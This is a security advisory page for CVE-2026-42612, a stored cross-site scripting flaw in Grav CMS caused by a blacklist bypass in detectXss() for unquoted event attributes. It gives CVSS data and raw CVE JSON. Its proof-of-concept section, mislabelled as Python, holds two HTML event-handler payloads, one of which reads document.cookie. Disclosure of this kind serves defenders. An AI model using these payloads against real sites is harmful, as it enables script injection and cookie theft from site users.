Security Vulnerability Report
中文
CVE-2026-42612 CVSS 8.5 HIGH

CVE-2026-42612

Published: 2026-05-11 16:17:34
Last Modified: 2026-05-11 20:25:43

Description

Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a stored Cross-Site Scripting (XSS) vulnerability in getgrav/grav allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the detectXss() function when handling unquoted HTML event attributes. This vulnerability is fixed in 2.0.0-beta.2.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Grav < 2.0.0-beta.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for Grav CMS Stored XSS via Unquoted Attributes --> <!-- The payload bypasses detectXss() by using unquoted event handlers --> <img src=x onerror=alert('XSS')> <!-- Alternative payload using other events --> <body onpageshow=alert(document.cookie)>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42612", "sourceIdentifier": "[email protected]", "published": "2026-05-11T16:17:34.350", "lastModified": "2026-05-11T20:25:42.793", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grav is a file-based Web platform. Prior to 2.0.0-beta.2, a stored Cross-Site Scripting (XSS) vulnerability in getgrav/grav allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the detectXss() function when handling unquoted HTML event attributes. This vulnerability is fixed in 2.0.0-beta.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/getgrav/grav/commit/5a12f9be8314682c8713e569e330f11805d0a663", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-9695-8fr9-hw5q", "source": "[email protected]"}, {"url": "https://github.com/getgrav/grav/security/advisories/GHSA-9695-8fr9-hw5q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}